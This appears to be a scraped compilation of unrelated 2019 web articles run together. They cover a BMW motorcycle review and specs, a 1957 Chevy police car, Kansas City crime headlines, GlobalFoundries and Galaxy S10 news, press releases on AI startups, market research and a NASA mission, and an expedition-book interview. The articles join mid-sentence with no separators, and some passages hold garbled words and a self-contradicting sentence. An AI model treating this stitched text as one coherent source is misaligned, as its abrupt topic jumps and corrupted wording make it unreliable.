Said engine displaces 1,200 cc in a parallel-twin layout that generates 96 ponies and 82.6 pounds o grunt to fall just a skosh short of the BMWs Boxer, but honestly, that difference probably wont even be a blip on the old heinie-dyno. Ill tell you what will register with most folks is the $12,100 price tag. Yeah, it comes with ABS as well, but if your budget is tight and right at the $10k mark, the Beemer will give you a bit more bike for your buck.

Read our full review of the Triumph Speed Twin.

He Said

I have nothing but respect for German engineering, and an appreciation for pragmatic design philosophies, so the Pure hits all the right high notes as far as Im concerned. Retro is in, and I can see this design performing well in the market, especially with that all-important 18-35 year age bracket everybody is (necessarily) scrambling to rope in. Oh, and let me just say; the black and yellow paint job is freakin pure-D awesomesauce, I dont care if it is more expensive.

She Said

My wire and fellow motorcycle writer, Allyn Hinton, says, This R nineT really begs for customization. Its a basic bike  rwu forks, a single instrument clock, steel tank  and the rider position is comfortable, though the seat is a bit hard. It would be nice as a commuter since it has plenty more to give even at interstate speeds. The Pure is the stripped-down version of the R nineT family, but it really doesnt lose any rideability as a result. Its just a really nice, plain ol bike.

BMW R nineT Pure Specifications

Engine & Drivetrain: Engine: Air/oil-cooled, 4-stroke flat twin engine with balance shaft, four valves per cylinder, double overhead camshaft, wet sump lubrication Bore x Stroke: 101 mm x 73 mm Displacement: 1,170 cc Rated output: 110 hp (81 kW) @ 7,750 rpm Max. torque: 86 lb-ft (116 Nm) @ 6,000 rpm Compression ratio: 12.0:1 Mixture control / engine management: Electronic fuel injection Emission control: Controlled 3-way catalytic converter, emission standard EU-4 Clutch: Single dry plate clutch, hydraulically operated Gearbox: Constant mesh 6-speed gearbox with helical cut gears Secondary drive: Shaft drive 2.91:1 Chassis: Frame: Three-section frame consisting of one front and two rear sections, load-bearing engine-gearbox unit, removeable pillion frame for single rider use Front suspension/ Travel: Telescopic forks,  43 mm/4.9 (125 mm) Rear suspension/ Travel: Cast aluminum single-sided swing arm with BMW Paralever; central spring strut, spring pre-load hydraulically adjustable (continuously variable) at handwheel, rebound damping adjustable/ 4.7 (120 mm) Rake: 26.6 Trail: 4.1 (105 mm) Wheels: Cast aluminum wheels Rim, front: 3.50 x 17" Rim, rear: 5.50 x 17 Tire, front: 120/70 ZR 17 Tire, rear: 180/55 ZR 17 Brake, front: Dual 320 mm floating disc brakes, 4-piston calipers Brake, rear: Single 265 mm disc brake, dual-piston floating caliper ABS: BMW Motorrad ABS Dimensions & Capacities: Length: 82.9 (2,105 mm) Width (incl. Mirrors): 35.4 (900 mm) Height (incl. Mirrors): 48.8 (1,240 mm) Wheelbase: 58.8 (1,493 mm) Seat height, unladen weight: Standard Seat: 31.7", Custom Front Seat: 31.3", Low Seat: 30.5" Inner leg curve, unladen weight: Standard Seat: 70.3", Custom Front Seat: 69.9", Low Seat: 68.1" Unladen weight, road ready, fully fueled: 483 lbs (219 kg) Permitted total weight: 948 lbs (430 kg) Payload (with standard equipment): 465 lbs (211 kg) Fuel Capacity: 4.5 gal (17 l) Fuel consumption: 44 mpg (WMTC) Fuel type: Premium Unleaded Reserve: Approx. 1 gal (3.5 l) Top speed: 125+ mph Electrical System: Alternator: Three-phase alternator 720 W Battery: 12 V / 14 Ah, maintenance-free Details: Standard Features: ABS, Adjustable Rear Shock Absorber Rebound, Adjustable Rear Suspension, Spring Preload, Cast Aluminum Wheels, Disc Brakes, LED Tail Light, Modular Frame Concept, Power Socket, Smoked Grey Turn Signal Lenses. Speedometer, Steel Fuel Tank, Steering Damper, Two Section Dual Seat Colors: Catalano Grey, Option 719 Black Storm Metallic/Aurum, Option 719 Black Storm Metallic/Light White Price: $9,995

Further Reading

BMW Motorrad

Read more BMW news.Ok, every time I see a Chevy of this stature from the Fifties, I imagine a massive engine under the bonnet with some insane supercharger, an exhaust sticking out of the fenders or under the side skirts, and a lot of fiery decals. Yup, I am thinking about gassers which are basically a natural opposite to the car we have here - the 1957 Chevrolet Model 150 Squad car from the Chicago Police department. It was proudly exhibited at the 2019 Chicago Auto Show, and it is not its first time to sit under the Chicago Auto Show lights. I found out that it was there in 2017 too. Probably before as well, but I cannot claim perfect knowledge. What I can tell you instead, is the fact that this particular 1957 Chevy Squad car is privately owned by Patrick Tode. He tried to maintain it to the best of his ability for 25 years. Considering its a part of an auto show nowadays, it is obviously in great condition.

The 1957 Chevrolet Model 150 Squad Car Is Actually A Memorial Icon

Prior to the 2019 Chicago Auto Show, this particular 1957 Chevrolet Model 150 attended numerous Chicago Police Department memorial events and Cars and Cops shows held within the CPD Memorial organization. While it is really hard to track the police history of this particular squad car, I can tell you that it entered service in 1957. Back then, the Model 150 was rather popular among the police departments all over the U.S. thanks to some clear advantages compared to basically any other car of the time.

With a price of $1,734 in 1956, the two-door Chevrolet Model 150 was the cheapest, lightest, and most utilitarian car Chevy produced.

A four-door model like this one was a tad more expensive. Ok, I guess that Chevy had to tinker a bit with the suspension, interior equipment, and exterior lighting for the cars destined to reach police departments, but the fact of the matter is that this was the cheapest Chevy of the time. In 1957, Chevrolet managed to sell exactly 56,266 units, mostly to government bodies and police departments. While this number seems competent, the Model 150 was, in fact, the least selling vehicle by Chevy.

Thanks to its exceptionally low weight (3,117 pounds for the low-end model), many hot rod enthusiasts developed a particular love for it as well. Low weight coupled with some kind of an insane V-8 with a supercharger that develops more than 320 horsepower definitely made the Model 150 a serious contender in any race.

Its Not Exactly Super Powerful or Fast

The 1957 Chevrolet Model 150 squad car was nothing like the hot rod machines powered by a V-8 engine.

This one had a Blue Flame, 235 cubic-inch, inline-six engine that develops 140 horsepower.

Not exactly the one to use for chasing street racers, but it did get the job done against basically any conventional car of the time. The 1957 Chevy Model 150 had some obvious novelties compared to any from the previous years. A new oval bumper with protruding bumper guards and round parking lights differentiate it from the models from before. However, this was not exactly a luxurious car. Usually, the 150 had only one sun visor and rubber floor mats. Some report that it did not even have a radio or a heater. Squad cars, obviously, had to have it.

Conclusion

Obviously, the Chicago Police Department memorial car is justifiably one of the most intriguing show cars in Chicago this year. It is even equipped with the original ticket book, a nightstick, and a flashlight. Cant go more legit than that, can it now? Although it is basically the least expensive of all Chevy cars from 1953 to 1957 (the time frame when the Model 150 was produced), I find it quite interesting. As many hot rod enthusiasts do as well. Theyd turn this into a 10-second car overnight.

Further Reading

2019 Chicago Auto Show - Everything You Need To KnowKANSAS CITY, Mo. - With a tone of sadness and frustration, Kansas City Public Schools Superintendent Mark Bedell said Wednesday that he was "tired" of violence in the community, one day after a teenager was killed on Central Academy of Excellence grounds. "I'm tired. I'm just going to sit here and say this.Kansas City Works To Support Police After Cop Suicide Shocker

Westport shop to donate portion of profits for KCPD's Care Team, suicide prevention Modern Man Supply Company in Westport plans to donate a portion of its profits to help Kansas City police officers.The shop is all about Kansas City and features many locally-made products.The owners said they work closely with the Kansas City Police Department, and news that an officer ended his life

Suspect Confronts Lady Murder Charge

Man charged in November 2018 shooting death of woman in KCMO KANSAS CITY, Mo. - A man faces a murder charge after allegedly shooting a woman in a car in east Kansas City, Mo. Damon Kerr, 43. is charged in Jackson County Court with second degree murder and armed criminal action, according to court documents released Tuesday.

More Deets On KCK Homcide

Kansas City, Kansas police investigate overnight homicide Kansas City, Kansas police are investigating a homicide after an early Thursday morning shooting.Police Chief Terry Zeigler said officers were dispatched to investigate a shots fired call in the 300 block of North 70th Terrace. Before they arrived, a person told dispatchers that someone was laying on the ground not moving.When officers arrived they found a man deceased from an apparent gunshot wound.

Heartbreaking KCK Cold Case

Nine years later, mother still searching for answers in son's Valentine's Day murder KANSAS CITY, Kan. -- Its been nine years since someone murdered Johnny Valdivia on Valentine's Day, just feet away from his front door in KCK. "He picked up a heart-shaped pizza at the local pizza establishment, was on his way over with gifts for his girlfriend," said Det.

KCPD Struggle With Suicide Aftermath

KCPD leaders mourn officer's death, look to help others KANSAS CITY, Mo. - Leaders of the Kansas City Police Department are still taken aback by the loss of one of their own. A KCPD officer died Monday, days after suffering a self-inflicted gunshot wound in the parking lot of a Liberty church.

JoCo Po-Po Career Concludes

Olathe police chief announces retirement after more than 31 years with department OLATHE, Kan. -- Olathe Police Chief Steven R. Menke announced Tuesday that he will be retiring on April 2019 after more than 31 years with the Olathe Police Department. Menke's career with the department began in March 1988 as a police officer, according to the department.

KCK Gunfire Spate Aftermath

KCK police: Woman suffers critical injuries in shooting Tuesday at Fifth, Quindaro A woman was critically hurt in a shooting Tuesday afternoon at Fifth Street and Quindaro Avenue, Kansas City, Kansas, police said.Authorities said the shooting was reported at 12:54 p.m.Police have not released any information on the circumstances or a description of the shooter.

Kansas Rub Down Crackdown

Prostitution business at Lawrence, Topeka massage parlors | The Kansas City Star The owner and operator of massage businesses in Lawrence and Topeka pleaded guilty Tuesday to federal prostitution-related charges.

Advocacy Against Victim Blaming

KC child victim advocates continue push for appeal in 'aggressor' case Hide Transcript Show Transcript WEBVTT THE JUDGE IN SODEN'S CASE MICHAEL GIBBENS. DEPARTING FROM RECOMMENDED SENTENCE GUIDELINES SAYING 13-YEAR-OLD AND 14-YEAR-OLD GIRLS WERE AGGRESSORS IN A CASE INVOLVING 67-YEAR-OLD RAYMOND SODEN. >> I FEEL LIKE WE'RE LOSING THIS BATTLE IN THE COURTS OF JUSTICE.

Double Trouble Update

Two guns found at Lawrence High School in less than a week Administrators at Lawrence High School and Lawrence police are investigating after two guns were found in possession of students at the school in less than a week. The most recent incident happened Tuesday morning. A gun was found in a student's book bag after someone issued a tip to administrators.

Northland Prays For Peace Officers

Northland church strives to help first responders tragedy struck the Kansas City Police Department when one of their own shot himself in the Pleasant Valley Baptist Church parking lot. While the officer was not a member of the church, the congregation has a special group of people just for those who wear the badge.

A quick collection of local crime news links worth a look, here's a resource for the top recent stories from across the metro on the topic of crime, punishment and police . . .Developing . . .Thou Mayest sprouts fresh coffee concept in the suburbs: Cafe Equinox Coffee needn't be melancholy or monochromatic, said Thou Mayest founder Bo Nelson, bathed in warm sunlight at Cafe Equinox. "We have to wake people up," said Nelson. "We're trying to celebrate the diversity of life - humanity, plants, music, art - so many collisions. It's not a distraction.

Here's what worked about this KCMO coffee venue . . .made all of that b.s. coffee shop talk, hype and biz planning seem just a bit more credible because the location was "vibrant" and managed by people who actually believed the creative class hype. Of course, at the end of the day. BUT, that's exactly same problem confronting most of the planet.And so, we send our best wishes to these Kansas City coffee dreamers and hope for their triumphant return to the trendy side of the State Line sooner rather than later . . . Take a look:EDIT March 1, 2019: Global Foundries reached out to clarify that ATIC's support for the foundry remains strong. The Crown Prince of Abu Dhabi recently made an official visit to the company's Singapore fabs. The CEO of Mubdala (100% owner of Global Foundries) commented that With its focused and inspirational leadership and a clear strategy for value creation, Global Foundries continues to be an integral part of Mubadalas portfolio.

Original Article:

According to a recent ComputerBase report, rumor has it that Advanced Technology Investment (ATIC), the investment arm of the Abu Dhabi government, is looking to sell its ownership in Global Foundries after Global Foundries announced last year that it will skip the 7nm process generation.

ATIC Seeks Exit Buyer

AMD started selling its stake in Global Foundries back in 2008, and by 2012, ATIC government had full ownership of AMDs former foundry division through its ATIC investment arm.

For years, due to AMDs contractual obligation to remain a customer of Global Foundries, ATIC has had a major customer on which to rely for the foundry business revenues.

AMD recently gained some liberty from that contract that was enabled by Global Foundries failure to switch to the 7nm process technology. As such, AMD ended-up announcing that TSMC will be manufacturing most of its chips using the 7nm process.

Following this announcement, the Abu Dhabi government was rumored to have had a change of heart about the whole foundry business and wanted to sell its stake to someone else.

Global Foundries to Focus on 14/12nm Nodes

Because Global Foundries skipped the 7nm process generation, it will now have to double down on its 14nm and 12nm process nodes, presumably as a cheaper alternative to TSMC and Samsungs offerings for the same node and manufacturing features.

Global Foundries hired a new CEO (Tom Caulfield), last year, who seems to be focusing on cutting costs and improving profitability for the company. Presumably, ATIC wants to make the business as appealing as possible to new buyers. ATIC sold one of Global Foundries fabs last year to Vanguard International Semiconducator (VIS) and laid off a portion of the foundrys employees.

Want to comment on this story? Let us know what you think in the Tom's Hardware Forums.Samsung has finally given up on trying to be secretive about the Galaxy S10.

(Image credit: Samsung)

The Korean tech giant has published a page to its website starting pre-orders on the Galaxy S10 before it even unveils the device. The ad, which comes with the headline, "We know you know what is coming soon," offers up to a $550 trade-in credit when you reserve the handset now.

According to Samsung, those who pre-order the Galaxy S10 will be able to get the credit on a qualifying device. That probably means that the newer and more appealing the handset you're turning in, the more you'll get. And it'll help you to defray the cost of what is expected to be an expensive Galaxy S10 or Galaxy S10+. It's possible, though unconfirmed, that the budget-friendly Galaxy S10e will also qualify in this offer.

By pre-ordering now, you'll be in the first batch of customers to actually get the smartphone. The company is offering delivery by March 8, suggesting you won't need to wait long to get the smartphone after it's unveiled next week. In addition to the $550 trade-in credit, Samsung is also offering a $50 credit for an accessory to go with your purchase.

MORE: Samsung Galaxy S10 Rumors: Release Date, Price and Specs

On the sign-up page, Samsung says that the device will be capable of connecting to all four major carrier networks  AT&T, Verizon, Sprint, and T-Mobile. You'll also be able to connect it to U.S. Cellular or get it unlocked if you like to keep your options open.

While the move is something the notoriously secretive Apple would ever do, it makes some sense for Samsung. The company's Galaxy S10 lineup has been featured in pictures and videos from every angle over the last several weeks. To try and deny the rumors now would be ridiculous. Instead, Samsung has taken the understandable tack of acknowledging the information is out and now trying to capture early shoppers who might have been enticed by everything that's leaked.

So, if you're one of those interested shoppers, you can sign up to reserve the Galaxy S10 right now. The offer is available through Feb. 20, the same day Samsung plans to unveil its new lineup.[February 13, 2019] Anodot Named to the 2019 CB Insights AI 100 List of Most Innovative Artificial Intelligence Startups

NEW YORK, Feb. 13, 2019 /PRNewswire/ -- CB Insights today named Anodot to the third annual AI 100 ranking, showcasing the 100 most promising private artificial intelligence companies in the world. "After being named to the AI 100 in 2018, last year's honorees raised nearly $4.5B across 45 deals with 6 going on to be valued at $1 billion or more," said CB Insights CEO Anand Sanwal. "The data we compiled on this year's nominees, ranging from their customers to their patents to their CB Insights' Mosaic scores, revealed 100 AI companies that are driving transformation across a number of industries and which are taking on a variety of large societal issues ranging from disaster management to cancer diagnosis to detecting fake news. We expect these companies will see similar levels of momentum and progress in 2019 and are excited to continue to track their progress." In addition to disrupting core sectors including healthcare, telecommunications, semiconductor, government, retail, and finance, the 2019 AI 100 companies are revamping the broader enterprise tech stack. These companies span the globe, from the US, UK, Israel, Japan, China, Germany, Sweden, and Canada, and are supported by more than 680 investors from 29 countries.



"We are honored to be recognized by the 2019 CB Insights AI 100 for Anodot's advancements in AI/ML solutions," said David Drai, CEO and Co-Founder of Anodot. "As we continue to grow globally, Anodot's autonomous analytics will consistently provide customers with real time anomaly detection and root cause analysis, instantly delivering essential alerts on business incidents every time." Through an evidence-based approach, the CB Insights research team selected the AI 100 from over 3,000 companies based on several factors including patent activity, investor quality, news sentiment analysis, proprietary Mosaic scores, market potential, partnerships, competitive landscape, team strength, and tech novelty. The Mosaic Score , based on CB Insights' algorithm, measures the overall health and growth potential of private companies to help predict a company's momentum. Anodot helps top enterprises all over the world leverage machine learning based anomaly detection to achieve more predictble results. By swiftly pinpointing the scope and source of problems within massive amounts of data, Anodot's patented algorithms ensure faster-time-to detection and root cause analysis that traditional BI tools and dashboards can't deliver. Headquartered in Israel and the US, Anodot gets to the root of business issues related to sales and revenue assurance, risk, compliance and operations by processing huge volumes of data in real time, reducing time to detection and resolution.



Quick facts on the 2019 AI 100: As of EOY 2018, these emerging private companies have cumulatively raised $9.4B across 375 deals.

across 375 deals. Eleven companies have reached a unicorn valuation of $1B or more.

or more. Over 680 unique investors from 29 different countries have backed the companies in this year's cohort.

Over 680 US patent applications have been filed by the AI 100.

Twenty-five previous honorees were featured on this year's list, in addition to 75 new companies.

Eight countries are represented on the ranking, and the majority of the companies are based in the United States . The AI 100 Companies (in alphabetical order):



4Paradigm

ABEJA

AEYE

Agari Data

AI Foundation

AI.Reverie

AiFi

Anodot

Applitools

AppZen

Area 1 Security

Arraiy

Arterys

Atomwise

Automation Anywhere

Behavox

Benson Hill Biosystems

BioCatch

Bouncex

Butterfly Network

C3

Cerebras Systems

Dataiku

DataRobot

DataVisor

DeepMap

DeepScale

DefinedCrowd

Demisto

Descartes Labs

Dremio

Drive.ai

Eigen Technologies

Element AI

Face++

Falkonry

Fortem Technologies

FullStory

Gamalon

Gauss Surgical

Gong

Graphcore

H2O.ai

Habana Labs

Horizon Robotics

Hover

HyperScience

IDx

Insitro

Iris Automation

Jask Labs

Kebotix

Landing.ai

LawGeex

LeanTaaS

mabl

Machinify

Mapillary

Medopad

Mighty AI

Mindstrong Health

Mist Systems

Momenta

Mythic

New Knowledge

Nexar

Niramai

Nuro

One Concern

Onfido

Orbital Insight

OWKIN

Paige AI

Perceptive Automata

PerimeterX

Pony.ai

PROWLER.io

Qventus

Sense

SenseTime

Shape Security

Shield AI

Sift

Signifyd

SigOpt

Skyline AI

SparkCognition

Syntiant

Tamr

Taranis

Textio

ThinCI

Trifacta

TwentyBN

UiPath

Unbabel

Vectra Networks

Viz.ai

YITU Technology

Zymergen

About CB Insights At CB Insights, we believe the most complex strategic business questions are best answered with facts. We are a machine intelligence company that synthesizes, analyzes and visualizes millions of documents to give our clients fast, fact-based insights. Serving the majority of the Fortune 100, we give companies the power to make better decisions, take control of their own future, and capitalize on change. Contact:

Hyeri Kim, PR Manager

hkim@cbinsights.com

+1 212-292-3148 ext. 3020 About Anodot Anodot's Autonomous Analytics platform leverages advanced machine learning techniques to constantly analyze and correlate every business parameter, providing real time alerts and forecasts, lowering time to detection and resolution. Our leading-edge, patented technology is trusted by clients in industries ranging from eCommerce to fintech, adtech, telco, gaming and more.



Anodot is headquartered in Silicon Valley and Israel, with sales offices worldwide. To learn more, visit us at http://www.anodot.com and follow us on LinkedIn, Facebook and Twitter. Contact:

Molly Meller

+1-732-865-3998

molly@siliconvpr.com



View original content:http://www.prnewswire.com/news-releases/anodot-named-to-the-2019-cb-insights-ai-100-list-of-most-innovative-artificial-intelligence-startups-300795423.html SOURCE Anodot

[ Back To TMCnet.com's Homepage ]Two men  including one Leucadian  have taken their experiences on various expeditions and have compiled them into the ultimate book about what to and not to do on such excursions.

Dr. Terry M. Williams, of Leucadia, and Aaron Linsdau, of Oregon, wrote "Adventure Expedition One, released Feb. 15, following personal experience and four years of research.

The book aims to be the ultimate guide for explorers, including information on preparation, financing and training.

Williams, a retired emergency physician, and Linsdau, a motivational speaker and author, recently discussed their new book, which is available to purchase on Amazon at amzn.to/2GuP0Yk.

"Adventure Expedition One" by Aaron Linsdau and Dr. Terry M. Williams Courtesy

Q: Why did you want to write this book?

Linsdau: The original idea for the book came to me almost four years ago after coming back from my Antarctica expedition and a climb down in Mexico. I wasn't able to find any book that gave me an overview of what are all the things that I need to know on that expedition. There are pieces in different books on polar exploration, but there's no one compendium of, 'Hey, here's everything you need to know in a general expedition.' That was the genesis of my idea. I went along for quite a while but I needed a good medical section. When I met Terry, that was the, 'OK. Perfect. I now have a wrap for the book.'

Q: How did you two meet?

Williams: We actually first met at an airport [in November 2016] when we were both on the way to climb Mount Kilimanjaro in Africa. We ended up traveling the rest of that trip together. We were tent mates on the climb of Kilimanjaro and got to become good friends. We hatched this idea of doing a collaboration on this book.

Q: What are each of your relevant experiences and your authority for writing such a book?

Linsdau: I've had the world record for the longest expedition surviving to the South Pole, 81 days from drop-off to pick-up. It's a course of 720 miles across the  I wouldn't call them 'wastelands' because they're negative  but the ice on Antarctica by myself. Everything that went wrong was attributed to me, including I got sick, coughed up blood, just all the excitement of having to eat 70 pounds of butter on the expedition to have enough energy, along with the other food that I've had. I put that expedition together. It took about 10 years to put the funding, the planning, the training and the doing to make it happen. I've had three expeditions across Yellowstone National Park in the winter, down to minus 45 degrees in temperature. In Antarctica, wind chill got down to almost minus 100 on some days. I had an expedition across the tundra in Greenland above the Arctic Circle. I'm headed back to Denali this year on another expedition to try and sum it up. I've been on Mount Elbrus in Russia, the tallest mountain in Europe. I've trekked into the Sahara on camels in a little expedition. I've done quite a bit in long-distance trekking.

Williams: My main contributions to the book were in the medical section. I also contributed the writing about training and nutrition. My main qualifications there are I'm a board-certified emergency medicine doctor, recently retired after 32 years of full-time emergency medicine work. My interest in adventure and exploration started when I was young. I'm a whitewater kayaker and have done quite a few expeditions in Northern Colorado and the Grand Canyon. I've done a reasonable amount of Alpine climbing. I've climbed several of the Cascade Volcanoes, including Rainier and Mount Hood. I've climbed Mount Whitney and have done a few international climbs. Besides Kilimanjaro, I've climbed Aconcagua, the highest mountain in South America and a couple of other climbs in Bolivia.

Q: What do you cover in the book?

Linsdau: The book goes through the entire process of developing an expedition, from the germination of the idea all the way to coming home. A lot of times, people have this thought of, 'Oh, I want to go somewhere. I want to try something big. I don't even know what to do.' There's actually a chapter-and-a-half on what is an expedition and places to go. Once the reader has an idea of the expedition he or she wants to do, the book goes into the planning, financing and physical training in three different sections. For the planning, it talks about how to prepare your equipment, what kind of technology is required nowadays, a fallback plan, how to deal with injuries and illnesses, things like that.

One of the major questions for people is the financing of how do you actually go about raising $100,000-plus for a major expedition to the polar regions. The book talks about self-funding, nonprofit crowdfunding, traditional sponsoring, how to do that and where to start.

Aaron Linsdau at the South Pole Courtesy

The book then goes on to the physical training aspects of, 'OK. You've got the money and you've got this gear and a plan, how do you actually physically prepare for that?' It gives a good overview of the preparation. One of the things that we tried to avoid in the book is getting too specific in any one particular endeavor, simply because there's no way we can cover kayaking, hiking and biking across the Australian Outback. We left those specific activities to other books, just because otherwise this thing would be an Oxford English Dictionary.

We contacted a bunch of experts on what we call skills  field diagnostics, first aid, handling hot climates, cold climates, hydration, nutrition  which are universal for any expedition. That, of course, brings the reader to the section on equipment and the 10 essentials of, universally what are you going to need for your equipment, what are you going to have to be able to handle in any situation.

The book dives into the medical aspects of expeditions across the world. Dealing with very strange diseases and how to avoid them is the most important thing. There's a special consideration section for women, children and elderly because on the climb that Terry and I had on Kilimanjaro, we did have a bunch of older climbers who definitely caused some challenges.

The book goes into a full expedition day, describing one full day in Antarctica, and that's an excerpt from my book, 'Antarctic Tears.' We get into the very nitty-gritty of, 'OK. Here's what an entire day looks like on an expedition.' You also get a return and recover section. We also include a survival list of the real survival tools you need and some selected resources that we've used.

Q: How did you prepare for your own expeditions before a book like this existed?

Williams: I just did the best I could, reading everything I could get my hands on of people doing prior climbs or similar whitewater expeditions. You're also picking up knowledge as you do things yourself. I think that's why one of the sections I am the most proud of in our book is Aaron's chapter on a full day in Antarctica. When you read books that others have written, you're often looking for those little tidbits of knowledge that you've never quite figured out the best way to do it yourself. How does somebody else do this?

Linsdau: For my preparations for my expeditions like my polar travel, I found one book on polar exploration by an author named Dixie Dansercoer. That's really the only book I ever found that gives you at least some of the information on, 'Hey, how the heck do you do this?' Dixie's got so much useful information in there but it's not hugely voluminous. There's just small details that were missing that I supremely suffered for. Like, I really should have done this or that. The whole genesis of this preparation was that I scoured the info on the internet, read a bunch of books. You piece and part it together but there really wasn't a good overall vision of how to do an expedition. There's a lot of painful learning, shall we say.

Q: What challenges have you faced on your own expeditions?

Linsdau: One of the most traumatic experiences and challenges that I faced was I developed a severe lung infection when I arrived in Antarctica. I didn't even know it because the air is so dry there that you develop a cough. It's very similar to a bronchitis-type cough, so nobody could really diagnose it until I got in the field. Once you're flown in and dropped off onto the polar plateau, it would cost anywhere from $10,000 to $30,000 to come pick you up, unplanned. Once you're out there, you're literally committed to this. By day 12 or 15, I started coughing up blood. It felt like I was smoking two packs a day. It was really bad. Fortunately, I had some azithromycin with me, so I could begin self-dosing antibiotics. Normally when you recover from that type of infection, it requires almost a full month of rest, recuperation and recovery, all of which doesn't happen in Antarctica. My original plan was to round trip to the pole and back but that just disintegrated.

I broke my shovel down there. Without a shovel in Antarctica, you can't build up the shelter to protect your tent and you cannot dig up enough ice to make water. In Antarctica, after two days you'll die of dehydration. The runners on my sleds broke. I ended up falling into a river in Greenland in the Arctic. I dunked my boots and almost got wiped out from hypothermia crossing a river there. Getting my boots dry was a pretty magic trick in Greenland. I had my boots shrink to the point where I almost couldn't wear them in Yellowstone when it got to minus 45 degrees. The cold was so severe that my food bowls I was eating out of shattered.

Terry M. Williams at the summit of Aconcagua Courtesy

Williams: That's one of the things that I think makes this book more fun to read. We intersperse short stories of some of the near-disasters we each had throughout the book and to illustrate some of the points we're writing about. An incident that I included in the book were a time that I was climbing Mt. Shasta by myself on a beautiful day suddenly turned white-out with no visibility. While I was trying to get down off the mountain and was in the storm, I hiked for several hours without being able to see my feet. I got some frostbite on my face and fingertips, even though it was just Northern California. The wind was just blowing to as high as 100 miles an hour at about 12 degrees, so it froze some of my skin. Another one that happened just this summer was I was doing a cross-Sierra hike with two friends off trail, and one of the guys got sick and developed serious symptoms that required evacuation. We had to figure out how to hike ahead for help and take care of him and find a place that the helicopter could sneak in and do a partial hover and evacuate to a hospital.

I did a trek several years ago in Nepal to the Everest base camp, and everyone knew that many hours of uphill hiking with a light pack on would be required. You need to show up to a group effort like that ready to go. One of the people who showed up on the very first day developed knee pain. Talking with this team member, it turned out they had never really trained to the point of hiking even four hours a day with a pack, let alone eight or 12 hours a day. What ended up happening was she decided she would need to hire a pony to continue on with the group. At our dinner that night, she discussed that and asked the group to all pitch in to pay for her pony. Of course, people weren't happy that someone would show up out of shape and expect everyone else to pay the extra expense of trying to get her up the mountain.

Linsdau: I do a lot of solo expeditions but also on team expeditions. People just massively under-appreciate the effort that it takes. You can work out a few times a week for an hour or so, but when you're on an expedition, you're going for eight, 10, 12, 14 hours. Some days can be 16 hours. If you haven't really tried yourself for doing that, boy, I don't know how many times I've seen it, people just aren't really ready for that kind of grind.

Q: What are your goals with the book?[February 13, 2019] North America Vibration Monitoring Market By Offering (Hardware and Software), By Monitoring Process (Portable and Online), By System Type, By Industry, By Country, Competition, Forecast & Opportunities, 2014-2024

NEW YORK, Feb. 13, 2019 /PRNewswire/ -- North America Vibration Monitoring Market By Offering (Hardware and Software), By Monitoring Process (Portable and Online), By System Type, By Industry, By Country, Competition, Forecast & Opportunities, 2014-2024



Read the full report: https://www.reportlinker.com/p05730682



According to "North America Vibration Monitoring Market By Offering, By Monitoring Process, By System Type, By Industry, By Country, Competition, Forecast & Opportunities, 2014-2024" vibration monitoring market stood at around $ 696 million in 2018 and is forecast to surpass $ 1 billion by 2024, owing to growing focus of companies towards reducing maintenance & labor costs, improving machinery uptime, streamlining manufacturing process and boosting productivity.Moreover, rising demand for comprehensive vibration monitoring solutions integrating machine learning, cloud computing and big data analytics capabilities would positively influence the region's vibration monitoring market.



Some of the other key factors that are expected to drive the market are growing oil & gas production, increasing application of Internet of Things (IoT) to develop smart factories and rising adoption of wireless & online vibration monitoring. Some of the major players operating in North America vibration monitoring market are Baker Hughes, a GE Company, LLC, Emerson Electric Co., SKF USA Inc., Honeywell International Inc., National Instruments Corporation, Schaeffler Group USA Inc., Rockwell Automation, Inc., Meggitt (North Hollywood), Inc., Analog Devices, Inc. and Bruel & Kjaer North America Inc.







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Read the full report: https://www.reportlinker.com/p05730682



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__________________________

Contact Clare: clare@reportlinker.com

US: (339)-368-6001

Intl: +1 339-368-6001 View original content:http://www.prnewswire.com/news-releases/north-america-vibration-monitoring-market-by-offering-hardware-and-software-by-monitoring-process-portable-and-online-by-system-type-by-industry-by-country-competition-forecast--opportunities-2014-2024-300794961.html SOURCE Reportlinker

[ Back To TMCnet.com's Homepage ][February 13, 2019] NASA Selects New Mission to Explore Origins of Universe

WASHINGTON, Feb. 13, 2019 /PRNewswire/ -- NASA has selected a new space mission that will help astronomers understand both how our universe evolved and how common are the ingredients for life in our galaxy's planetary systems. The Spectro-Photometer for the History of the Universe, Epoch of Reionization and Ices Explorer (SPHEREx) mission is a planned two-year mission funded at $242 million (not including launch costs) and targeted to launch in 2023. "I'm really excited about this new mission," said NASA Administrator Jim Bridenstine. "Not only does it expand the United States' powerful fleet of space-based missions dedicated to uncovering the mysteries of the universe, it is a critical part of a balanced science program that includes missions of various sizes." SPHEREx will survey the sky in optical as well as near-infrared light which, though not visible to the human eye, serves as a powerful tool for answering cosmic questions. Astronomers will use the mission to gather data on more than 300 million galaxies, as well as more than 100 million stars in our own Milky Way. "This amazing mission will be a treasure trove of unique data for astronomers," said Thomas Zurbuchen, associate administrator for NASA's Science Mission Directorate. "It will deliver an unprecedented galactic map containing 'fingerprints' from the first moments in the universe's history. And we'll have new clues to one of the greatest mysteries in science: What made the universe expand so quickly less than a nanosecond after the big bang?" SPHEREx will survey hundreds of millions of galaxies near and far some so distant their light has taken 10 billion years to reach Earth. In the Milky Way, the mission will search for water and organic molecules  essentials for life, as we know it  in stellar nurseries, regions where stars are born from gas and dust, as well as disks around stars where new planets could be forming.



Every six months, SPHEREx will survey the entire sky using technologies adapted from Earth satellites and Mars spacecraft. The mission will create a map of the entire sky in 96 different color bands, far exceeding the color resolution of previous all-sky maps. It also will identify targets for more detailed study by future missions, such as NASA's James Webb Space Telescope and Wide Field Infrared Survey Telescope. NASA's Astrophysics Explorers Program requested proposals for new missions in September 2016. Nine proposals were submitted, and two mission concepts were selected for further study in August 2017. After a detailed review by a panel of NASA and external scientists and engineers, NASA determined that the SPHEREx concept study offered the best science potential and most feasible development plan.

